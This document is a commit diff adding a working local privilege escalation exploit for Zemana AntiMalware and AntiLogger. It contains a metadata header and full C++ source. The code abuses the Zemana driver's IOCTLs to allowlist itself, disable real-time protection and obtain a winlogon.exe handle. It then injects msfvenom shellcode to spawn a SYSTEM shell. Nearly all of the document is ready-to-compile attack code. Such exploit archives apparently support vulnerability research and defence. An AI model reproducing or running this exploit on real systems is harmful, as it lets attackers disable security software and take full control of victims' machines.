zemana antimalware antilogger exploit

2026-06-08 12:50:18 +00:00 · 2023-06-13 11:24:03 +02:00
parent b82b6d3ac1
commit 948936fd91
6 changed files with 180 additions and 0 deletions
@@ -0,0 +1,13 @@
+Exploit title:      Zemana AntiMalware v.3.2.28 & Zemana AntiLogger v.2.74.204.664 - LPE
+Exploit Author:     Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
+Date:               12/06/2023
+Vendor Homepage:    https://zemana.com/
+Download:           https://zemana.com/downloads/Zemana.AntiMalware.Setup.exe
+					https://zemana.com/downloads/Zemana.AntiLogger.Setup.exe
+Affected Version:	Zemana AntiMalware v. <= 3.2.28
+					Zemana AntiLogger v. <= 2.74.204.664
+CVE:                CVE-2023-XXXX
+Tested on:          Windows 11 Pro x64 v.22621.1778
+Category:           local exploit
+Platform:           windows
+Usage:              Compile and run this exploit on a machine where a vulnerable version of Zemana AntiMalware/AntiLogger is installed to achieve LPE as NT AUTHORITY\SYSTEM
@@ -0,0 +1,167 @@
+/*
+Exploit title:      Zemana AntiMalware v.3.2.28 & Zemana AntiLogger v.2.74.204.664 - LPE
+Exploit Author:     Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
+Date:               12/06/2023
+Vendor Homepage:    https://zemana.com/
+Download:           https://zemana.com/downloads/Zemana.AntiMalware.Setup.exe
+					https://zemana.com/downloads/Zemana.AntiLogger.Setup.exe
+Affected Version:	Zemana AntiMalware v. <= 3.2.28
+					Zemana AntiLogger v. <= 2.74.204.664
+CVE:                CVE-2023-XXXX
+Tested on:          Windows 11 Pro x64 v.22621.1778
+Category:           local exploit
+Platform:           windows
+Usage:              Compile and run this exploit on a machine where a vulnerable version of Zemana AntiMalware/AntiLogger is installed to achieve LPE as NT AUTHORITY\SYSTEM
+*/
+
+#include <iostream>
+#include <windows.h>
+#include <string>
+#include <tlhelp32.h>
+
+void PrintBanner(void) {
+	std::cout << "+----------------------------------------------------------------------------------+" << std::endl;
+	std::cout << "|           CVE-2023-XXXX: Zemana AntiMalware/AntiLogger LPE by VoidSec            |" << std::endl;
+	std::cout << "+----------------------------------------------------------------------------------+\n" << std::endl;
+}
+
+int GetProcessPIDByName(PCSTR ProcessName) {
+	// Get HANDLE to ProcessName 
+	DWORD pid = 0;
+
+	// Create toolhelp snapshot
+	HANDLE hsnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+	PROCESSENTRY32 process;
+	ZeroMemory(&process, sizeof(process));
+	process.dwSize = sizeof(process);
+
+	// Walkthrough all processes
+	if (Process32First(hsnapshot, &process))
+	{
+		do
+		{
+			// Compare process.szExeFile based on name
+			if (std::string(process.szExeFile) == std::string(ProcessName))
+			{
+				pid = process.th32ProcessID;
+				break;
+			}
+		} while (Process32Next(hsnapshot, &process));
+	}
+
+	CloseHandle(hsnapshot);
+
+	if (pid != 0)
+	{
+		return pid;
+	}
+	return NULL;
+}
+
+
+int main(int argc, char** argv)
+{
+	HANDLE hDevice = 0, hWinlogon = 0;
+	int exploit_pid = 0, winlogon_pid = 0;
+	bool success = 0, disable_zam = 0, disable_rt = 0;
+	void* destMem = NULL;
+	SIZE_T written = 0;
+
+	/*msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread -f c*/
+	unsigned char shellcode[] =
+		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
+		"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
+		"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
+		"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
+		"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
+		"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
+		"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
+		"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
+		"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
+		"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
+		"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
+		"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
+		"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
+		"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
+		"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
+		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
+		"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
+		"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
+		"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
+		"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00";
+
+	PrintBanner();
+
+	std::cout << "[-] Retrieving a handle to the Zemana device driver" << std::endl;
+	hDevice = CreateFile("\\\\.\\ZemanaAntiMalware", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+	if (!hDevice) {
+		std::cout << "\t[!] Failed to get a handle to the Zemana device driver. Error code: " << ::GetLastError() << std::endl;
+		return -1;
+	}
+	std::cout << "\t[+] ZemanaAntiMalware HANDLE: 0x" << std::hex << hDevice << std::endl;
+
+	std::cout << "[-] Adding exploit's process to the allowlist" << std::endl;
+	exploit_pid = GetCurrentProcessId();
+	if (!exploit_pid) {
+		std::cout << "\t[!] Failed to get exploit's process PID. Error code: " << ::GetLastError() << std::endl;
+		return -1;
+	}
+	std::cout << "\t[+] Exploit process' PID: " << exploit_pid << std::endl;
+
+	success = DeviceIoControl(hDevice, 0x80002010, &exploit_pid, sizeof(exploit_pid), NULL, 0, NULL, NULL);
+	if (!success) {
+		std::cout << "\t[!] Failed to add exploit's process to the allowlist. Error code: " << ::GetLastError() << std::endl;
+		return -1;
+	}
+	std::cout << "\t[+] Exploit process' added to the allowlist" << std::endl;
+
+	std::cout << "[-] Disabling ZAM Guard and Real-Time Protection" << std::endl;
+	disable_zam = DeviceIoControl(hDevice, 0x80002064, NULL, sizeof(exploit_pid), NULL, 0, NULL, NULL);
+	disable_rt = DeviceIoControl(hDevice, 0x80002090, NULL, sizeof(exploit_pid), NULL, 0, NULL, NULL);
+	if (!disable_zam || !disable_rt) {
+		std::cout << "\t[!] Failed to disable ZAM Guard or Real-Time Protection" << std::endl;
+	}
+	std::cout << "\t[+] Disabled ZAM Guard and Real-Time Protection" << std::endl;
+
+	std::cout << "[-] Retrieving PID to Winlogon" << std::endl;
+	winlogon_pid = GetProcessPIDByName("winlogon.exe");
+	if (!winlogon_pid) {
+		std::cout << "\t[!] Cannot get winlogon.exe PID" << std::endl;
+		return -1;
+	}
+	std::cout << "\t[+] winlogon.exe PID: " << winlogon_pid << std::endl;
+
+	std::cout << "[-] Retrieving Winlogon HANDLE" << std::endl;
+	success = DeviceIoControl(hDevice, 0x8000204C, &winlogon_pid, sizeof(DWORD), &hWinlogon, sizeof(HANDLE), NULL, NULL);
+	if (!success) {
+		std::cout << "\t[!] Failed to get Winlogon HANDLE. Error code: " << ::GetLastError() << std::endl;
+		return -1;
+	}
+	std::cout << "\t[+] winlogon.exe HANDLE: 0x" << std::hex << hWinlogon << std::endl;
+
+	std::cout << "[-] Loading shellcode in winlogon.exe" << std::endl;
+	destMem = VirtualAllocEx(hWinlogon, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+	if (!destMem) {
+		std::cout << "\t[!] Failed to allocate memory in the winlogon.exe process. Error code: " << ::GetLastError() << std::endl;
+		return -1;
+	}
+	std::cout << "\t[+] Memory allocated at: 0x" << std::hex << destMem << std::endl;
+
+	std::cout << "[-] Writing shellcode within winlogon.exe process' memory" << std::endl;
+	success = WriteProcessMemory(hWinlogon, destMem, shellcode, sizeof(shellcode), &written);
+	if ((DWORD)success == INVALID_FILE_ATTRIBUTES) {
+		std::cout << "\t[!] Failed to write shellcode to winlogon.exe process' memory. Error code: " << ::GetLastError() << std::endl;
+		return -1;
+	}
+	std::cout << "\t[+] Shellcode loaded!" << std::endl;
+
+	std::cout << "[-] Spawning SYSTEM shell" << std::endl;
+	success = CreateRemoteThread(hWinlogon, NULL, 0, (LPTHREAD_START_ROUTINE)destMem, NULL, 0, NULL);
+	if (!success)
+	{
+		std::cout << "\t[!] CreateRemoteThread failed. Error code: " << ::GetLastError() << std::endl;
+		return -1;
+	}
+	std::cout << "\n[WIN WIN WIN] You are now NT AUTHORITY\\SYSTEM [WIN WIN WIN]" << std::endl;
+	return 0;
+}